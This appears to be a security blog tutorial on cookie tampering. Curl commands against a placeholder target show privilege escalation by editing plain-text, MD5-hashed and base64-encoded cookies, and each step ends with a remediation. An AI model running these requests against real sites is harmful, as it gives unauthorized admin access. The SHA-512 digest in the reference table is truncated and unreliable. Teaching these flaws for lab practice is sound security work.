Cookies are a common way for web apps to remember who you are and what you can access. The server sets a cookie, sends it to your browser, and trusts it on every request. The problem starts when developers put sensitive data like login status or role flags directly in cookies without any protection. An attacker who can read or modify that cookie can just change the values and gain access they should not have.
This blog covers three common cookie tampering techniques: plain-text manipulation, hashed cookie bypass, and base64 decoding. Each one shows a different way developers get this wrong, and what the right fix looks like.
Ethical Considerations
This demonstration is for educational purposes only. Cookie tampering against systems you do not own or have explicit permission to test is illegal in most jurisdictions. Always practice these techniques in isolated lab environments or authorized penetration testing engagements. Unauthorized access to computer systems violates laws like the Computer Fraud and Abuse Act (CFAA) in the United States and similar legislation worldwide.
Step 1: Plain-Text Cookie Manipulation
Some apps set cookies with values like logged_in=true and admin=false in plain text. The server sends these to your browser and then trusts them on every request with no further checks.
The server sets these cookies after login:
Set-Cookie: logged_in=true; Max-Age=3600; Path=/
Set-Cookie: admin=false; Max-Age=3600; Path=/
Send a baseline request with no cookies to see the default response:
curl http://<target-ip>/cookie-test
Response: Not Logged In
Now send the cookies exactly as the server set them:
curl -H "Cookie: logged_in=true; admin=false" http://<target-ip>/cookie-test
Response: Logged In As A User
Change the admin cookie value from false to true:
curl -H "Cookie: logged_in=true; admin=true" http://<target-ip>/cookie-test
Response: Logged In As An Admin
One value change. That is all it takes to become an admin. The server never checks whether the cookie was actually issued with those values. It just reads what you sent.
Remediation: Keep authorization data on the server. Store a random session ID in the cookie and map that ID to server-side session storage. Never let the client decide its own role.
Step 2: Hashed Cookie Bypass
Some apps try to add a layer of security by hashing cookie values instead of storing them in plain text. The idea is that hashes look random, so attackers cannot guess them. But hashing is deterministic: the same input always gives the same output. That means if you know what values the server is checking for, you can just compute the hash yourself.
Here are some common hash outputs for the string 1 as a reference:
| Original | Hash Method | Digest |
|---|---|---|
| 1 | MD5 | c4ca4238a0b923820dcc509a6f75849b |
| 1 | SHA-256 | 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b |
| 1 | SHA-512 | 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed66510a |
| 1 | SHA-1 | 356a192b7913b04c54574d18c28d46e6395428ab |
Generate the MD5 hash for the string admin:
echo -n "admin" | md5sum
Output: 21232f297a57a5a743894a0e4a801fc3
Send that hash as the role cookie value:
curl -H "Cookie: role=21232f297a57a5a743894a0e4a801fc3" http://<target-ip>/admin
Because hashes are consistent, you can generate any value the server expects. You can also use tools like CrackStation or rainbow tables to reverse common hashes back to their original strings. No server secret needed.
Remediation: Use HMAC with a server-side secret key to sign cookie values. Add a per-session salt so that even the same role value produces a different signature each session. Plain hashing gives no real protection because the output is always predictable for known inputs.
Step 3: Base64-Encoded Cookie Tampering
Base64 is encoding, not encryption. Anyone can decode it with a single command. Yet some apps store session data in base64-encoded cookies and treat the contents as trusted.
The server sets this cookie after login:
Set-Cookie: session=eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==; Max-Age=3600; Path=/
Decode the value to see what is inside:
echo 'eyJpZCI6MSwiYWRtaW4iOmZhbHNlfQ==' | base64 -d
Output: {"id":1,"admin":false}
It is a JSON object with an admin field. Change false to true and re-encode:
echo -n '{"id":1,"admin":true}' | base64
Output: eyJpZCI6MSwiYWRtaW4iOnRydWV9
Send the modified cookie:
curl -H "Cookie: session=eyJpZCI6MSwiYWRtaW4iOnRydWV9" http://<target-ip>/admin
The server accepts the modified cookie and grants admin access. It never checked whether the cookie was actually signed or issued by the server. You decoded, edited, re-encoded, and sent it back. That is all it took.
Remediation: Use signed tokens such as JWT with a strong secret key. Always validate the signature on the server before trusting any cookie data. If the cookie needs to contain sensitive fields, use encrypted tokens so the contents cannot be read or modified by the client.
Summary
Cookie tampering works because the server trusts data it should not trust. Plain-text cookies can be changed directly in the request. Hashed cookies are predictable because the same input always gives the same hash. Base64-encoded cookies are just obfuscated, not protected, and anyone can decode and modify them.
The fix is always the same: keep authorization data on the server, sign everything with a secret key, and never trust what the client sends without verifying it first.
If you found this helpful, drop a like and share it with someone learning security. If you have questions, ran into something different in your own lab, or want to share your results, leave a comment below. Always happy to connect and talk about security, recon techniques, or anything AppSec related.
Feel free to connect with me on LinkedIn
Always open to connecting with people in security, development, or both. Whether you are building something, breaking something, or just getting started, feel free to reach out.
Top comments (0)